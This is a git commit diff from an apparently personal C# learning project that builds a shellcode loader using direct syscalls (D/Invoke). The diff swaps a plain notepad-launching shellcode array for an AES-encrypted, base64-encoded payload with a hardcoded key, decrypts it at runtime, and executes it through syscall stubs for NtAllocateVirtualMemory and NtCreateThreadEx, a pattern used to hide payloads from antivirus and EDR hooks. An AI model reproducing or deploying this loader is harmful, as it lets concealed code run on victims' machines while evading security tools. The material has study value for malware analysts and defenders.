This commit is contained in:
XingYun-Cloud 2021-02-24 16:43:58 +08:00
parent 8cbdb96ce1
commit 9477573731
28 changed files with 93 additions and 37 deletions

Binary file not shown.

View File

@ -35,9 +35,8 @@ class Generic
// Alloc PE image memory -> RW
IntPtr hProcess = Native.GetCurrentProcess(); // 进程句柄,当前进程为-1
IntPtr BaseAddress = IntPtr.Zero; // 接收分配的内存地址
IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;
IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; // 要分配的内存大小
IntPtr pImage = Native.NtAllocateVirtualMemory(
hProcess, ref BaseAddress, IntPtr.Zero, ref RegionSize,
Native.AllocationType.Commit | Native.AllocationType.Reserve,
@ -45,6 +44,7 @@ class Generic
);
// Write PE header to memory
UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;
UInt32 BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders);
// Write sections to memory
@ -94,9 +94,9 @@ class Generic
//Native.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Native.AllocationType.Reserve
//原代码有问题参考下面两个Microsoft docs改写
//https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntfreevirtualmemory
//https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualfree
// 上面两行原代码有问题参考下面两个Microsoft docs改写也可以用Marshal.FreeHGlobal()
// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntfreevirtualmemory
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualfree
RegionSize = IntPtr.Zero;
Native.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Native.FreeType.MEM_RELEASE);

View File

@ -237,4 +237,59 @@ namespace MessyTools
MEM_WRITE = 0x80000000
}
}
class Tools
{
public static byte[] getSc()
{
string sc = "";
// 利用IntPtr结构的Size属性来查看系统的位宽前提是程序需要采用Any CPU的方式进行编辑
if (IntPtr.Size == 8)
{
//x64
sc = "iucYItIWPXMxuyc2oSxeoK/qt+/+4RxFf6tA0ryKjXK+N4IYvdp5bfDi1iOTYH8hnT2bistFuyprw7CB835c6PzzWZcPaxsnNJhYp1MYBCshWeCZuCTO3RTmXbUbqCGpY0f2jqJA6MomK9V/h6REyd+EwFdgNWSekUEli9fib3Me2EekeQebo3RXNqXdWPY6g+pwGRLuA1N4bugc8c5tkbT5WZZwzFP+m8NieKpYzjNKZXU/fSwLNmljw31z2smeTPNJE87cRPvwofqM0nzjq0mrCArC6mzTp2iqNpXrVs8gCCrNNZMIqBteIvGdGFXJswbAlaK1W9xDOFLwwnoz7lqhw2bVT8nXTinljdy2L2+fhJ2tiiMpJ0u6SS/nOZEEy2w9y9dAuGlNHPDKifJZTwXrwGl9qJVFbAgFzGqcXLk6WPXIyzL1CbXiBJUeGKaC70VDVZbpihqbhEvJGkSsxgQSMyL6OhO9htRqG0lVMnNjHGuH/dV0Su6pGbU4vgj2HL8iVHhgb/7ikMYnuN3RUPyEJlKnagMqZ+PZZcqxoKefFOALBWDgolQeSUYhmkv7MIZbwQSmU7m2jXicwZbO2oJWjSr8V8sH1CcYTOwtipFTf0lybfCmEZol/avwG6zThP9+64E+TZWinWEiFGcvevUpbLswweBpDVDuaG3gbfak6Eu+wPJM23z22xJgupd3oPYJ2datciNJlBVSy/jArhM8EZ2o2y0RJslO1v7fA8Cs2ONZDw92MXepYpChLTJSG3Zklh+y8iPuw3zVxysMYS/nSG6BlXEeYSiqrFnVwVqrcAV6PggCSHr07M3oxs9ioV7LtLvHI09YoUaDMASbZ/nYXcfiN9hCqJnR0bqcmy2CcGfqB54EaBPxpz3YUiXeU77BzZeYc228BLeQZFa1Qp5yWfzXFWumpI38ZpM1+kehN794fJzqqwVLNhAKfmI2T0Iwmngs7HQxyWElyFO9VPUpbLswweBpDVDuaG3gbfZtKy3jXLpHxqhdcAUgdiRvAIegJhNMzMJJN4Ty1bEA4s7mi29JSUvBAQDSM0MIwDfeB58yOJBXIAmgIOYDwI1UJ15i5VptVr4sJgtCbU6Q+boRVENPVD+iXc8Zots1SXF/5RCuL3Artnd+ERBJnIlVMdS6fRYEctxXMvijaSj8wyInTtxbVsrwkRAOggzus9emOaSqnv4/Nef3QHE2BkvPjczTHuzbWzWEltjw9KEmZzmR8643VVbA7t3wntb4LLw8Jp1tt1B1j2zQzrkJfvATe/Qy6LdtE48E1UnH8PFgHm4c9s9dKzYvxvF34qEPR1kGpp/8MWGVKNCJ+jUPmF53GxtiA436Ux/aBa5qMjEjLY76yl19AqU+RTE/ml8x+wv8hCZSp2oDKmfj2WXKsaCnkWDXlUwfGyoeFcG6urLZBzmZVWNmc3aS6WSMk2VfS8A/CMqF3tdLGGnOiAgG3dQuMOBtFT6eAuWW9JKKpNGhESoVDSDsJjGxbeaOL06+M5V3jftcwT5ZFkgoKqV7LKo4UUWgmQ9aCzir0Y24qa7PcB2Z7igvYKTQNDMk4BHQVCW5bzxX6ULPUv6OFHIZJcfcWDm1uZPDUVF8Gtc3nt1RhtTRx33e2/oDShG45rAExtD9N896NBYsqshroF3jPW2tKueueI/VplMdNaq9xzUYGbsxDA6zAoagLlz22VvPZ9l63Cd6MB2RY+kSc1osOZG7CEP82NTs+Pq3kSMsXZUFz29XL4t0cobsFlV9BnxoHIsIwsqYvEYVbQfP9+T2yEOYH3IUVkCgbGM8wpFRX0Ycp3SmfwlrU7bQBcHQSklMWEY7Hibxqo4jHieIYimyHqzHBQqfW+Z62xCXfA06VHlbJg0s2hpmzWj+x7A4cdix84yh3b85+KNoUl+FNirQmJQBXwFB9fBtPQkDdAxbBa1VGRBQpwfTuRSDE2wIN1gAdFS5+znBT2kcNymI/WJ/thoiSUJc6GSHtkNFS8ONrezF2Q==";
}
else if (IntPtr.Size == 4)
{
//x86暂时也放x64的shellcode不然更改位数这里获取不到会报错
sc = "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";
}
// 解密并转换为byte[]
List<byte> b = new List<byte>();
foreach (var i in AesDecryptor_Base64(sc).Split(','))
{
b.Add((byte)int.Parse(i.Substring(2), System.Globalization.NumberStyles.HexNumber));
}
byte[] RLSXlbz = b.ToArray();
return RLSXlbz;
}
/// <summary>
/// AES解密.
/// </summary>
/// <param name="str">传入要解密的字符串.</param>
/// <param name="key">支持的密钥长度为128/192/256位,默认长度256位; 默认秘钥为openopenopenopen,长度为128</param>
/// <returns>返回解密后的字符串.</returns>
public static string AesDecryptor_Base64(string str, string key = "openopenopenopen")
{
if (string.IsNullOrEmpty(str)) return null;
byte[] toEncryptArray = Convert.FromBase64String(str);
System.Security.Cryptography.RijndaelManaged rm = new System.Security.Cryptography.RijndaelManaged
{
Key = Encoding.UTF8.GetBytes(key),
Mode = System.Security.Cryptography.CipherMode.ECB,
Padding = System.Security.Cryptography.PaddingMode.PKCS7
};
System.Security.Cryptography.ICryptoTransform cTransform = rm.CreateDecryptor();
byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
return Encoding.UTF8.GetString(resultArray);
}
}
}

View File

@ -634,7 +634,7 @@ public class Native
{
throw new UnauthorizedAccessException("Access is denied.");
}
if (Marshal.ReadIntPtr(pProcInfo) == IntPtr.Zero)
{
return false;

View File

@ -8,28 +8,8 @@ namespace D_Invoke_syscall
{
static void Main(string[] args)
{
byte[] notepadShellcode_x64 = new byte[] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c,
0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x53,0x79,0x73,0x74,0x65,0x6d,0x33,
0x32,0x5c,0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x2e,0x65,0x78,0x65,0x00 };
Native.NTSTATUS success;
byte[] notepadShellcode_x64 = MessyTools.Tools.getSc();
Native.NTSTATUS ntstatu;
IntPtr hProcess = Native.GetCurrentProcess(); // 进程句柄,当前进程为-1
@ -41,8 +21,8 @@ namespace D_Invoke_syscall
IntPtr sysPointer = Generic.GetSyscallStub("NtAllocateVirtualMemory");
Delegates.NtAllocateVirtualMemory NtAllocateVirtualMemory = Marshal.GetDelegateForFunctionPointer(sysPointer, typeof(Delegates.NtAllocateVirtualMemory)) as Delegates.NtAllocateVirtualMemory;
success = NtAllocateVirtualMemory(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
Console.WriteLine($"NtAllocateVirtualMemory -> {success}");
ntstatu = NtAllocateVirtualMemory(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
Console.WriteLine($"NtAllocateVirtualMemory -> {ntstatu}");
Console.WriteLine($"申请的内存地址 -> 0x{BaseAddress.ToString("X")}");
@ -62,8 +42,8 @@ namespace D_Invoke_syscall
sysPointer = Generic.GetSyscallStub("NtCreateThreadEx");
Delegates.NtCreateThreadEx NtCreateThreadEx = Marshal.GetDelegateForFunctionPointer(sysPointer, typeof(Delegates.NtCreateThreadEx)) as Delegates.NtCreateThreadEx;
success = NtCreateThreadEx(out hThread, DesiredAccess, ObjectAttributes, hProcess, BaseAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer);
Console.WriteLine($"NtCreateThreadEx -> {success}\nThread Id -> {Native.GetThreadId(hThread)}");
ntstatu = NtCreateThreadEx(out hThread, DesiredAccess, ObjectAttributes, hProcess, BaseAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer);
Console.WriteLine($"NtCreateThreadEx -> {ntstatu}\nThread Id -> {Native.GetThreadId(hThread)}");
Console.WriteLine(new Win32Exception());
@ -71,8 +51,8 @@ namespace D_Invoke_syscall
sysPointer = Generic.GetSyscallStub("NtWaitForSingleObject");
Delegates.NtWaitForSingleObject NtWaitForSingleObject = Marshal.GetDelegateForFunctionPointer(sysPointer, typeof(Delegates.NtWaitForSingleObject)) as Delegates.NtWaitForSingleObject;
success = NtWaitForSingleObject(hThread, false, 0);
Console.WriteLine($"NtWaitForSingleObject -> {success}");
ntstatu = NtWaitForSingleObject(hThread, false, 0);
Console.WriteLine($"NtWaitForSingleObject -> {ntstatu}");
}
}

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -1,6 +1,6 @@
E:\Learning Record\CSharp\D_Invoke syscall\obj\Debug\D_Invoke syscall.csprojAssemblyReference.cache
E:\Learning Record\CSharp\D_Invoke syscall\obj\Debug\D_Invoke syscall.csproj.CoreCompileInputs.cache
E:\Learning Record\CSharp\D_Invoke syscall\bin\Debug\D_Invoke syscall.exe
E:\Learning Record\CSharp\D_Invoke syscall\bin\Debug\D_Invoke syscall.pdb
E:\Learning Record\CSharp\D_Invoke syscall\obj\Debug\D_Invoke syscall.csprojAssemblyReference.cache
E:\Learning Record\CSharp\D_Invoke syscall\obj\Debug\D_Invoke syscall.csproj.CoreCompileInputs.cache
E:\Learning Record\CSharp\D_Invoke syscall\obj\Debug\D_Invoke syscall.exe
E:\Learning Record\CSharp\D_Invoke syscall\obj\Debug\D_Invoke syscall.pdb

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]

View File

@ -0,0 +1 @@
09839846f81547b1f4a173153c162a5039df2c03

View File

@ -0,0 +1,6 @@
E:\Learning Record\CSharp\D_Invoke syscall\bin\x64\Debug\D_Invoke syscall.exe
E:\Learning Record\CSharp\D_Invoke syscall\bin\x64\Debug\D_Invoke syscall.pdb
E:\Learning Record\CSharp\D_Invoke syscall\obj\x64\Debug\D_Invoke syscall.csprojAssemblyReference.cache
E:\Learning Record\CSharp\D_Invoke syscall\obj\x64\Debug\D_Invoke syscall.csproj.CoreCompileInputs.cache
E:\Learning Record\CSharp\D_Invoke syscall\obj\x64\Debug\D_Invoke syscall.exe
E:\Learning Record\CSharp\D_Invoke syscall\obj\x64\Debug\D_Invoke syscall.pdb

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]

View File

@ -0,0 +1 @@
013dc4a9375ec089310266d606792680116237a5

View File

@ -0,0 +1,5 @@
E:\Learning Record\CSharp\D_Invoke syscall\bin\x86\Debug\D_Invoke syscall.exe
E:\Learning Record\CSharp\D_Invoke syscall\bin\x86\Debug\D_Invoke syscall.pdb
E:\Learning Record\CSharp\D_Invoke syscall\obj\x86\Debug\D_Invoke syscall.csproj.CoreCompileInputs.cache
E:\Learning Record\CSharp\D_Invoke syscall\obj\x86\Debug\D_Invoke syscall.exe
E:\Learning Record\CSharp\D_Invoke syscall\obj\x86\Debug\D_Invoke syscall.pdb

Binary file not shown.

Binary file not shown.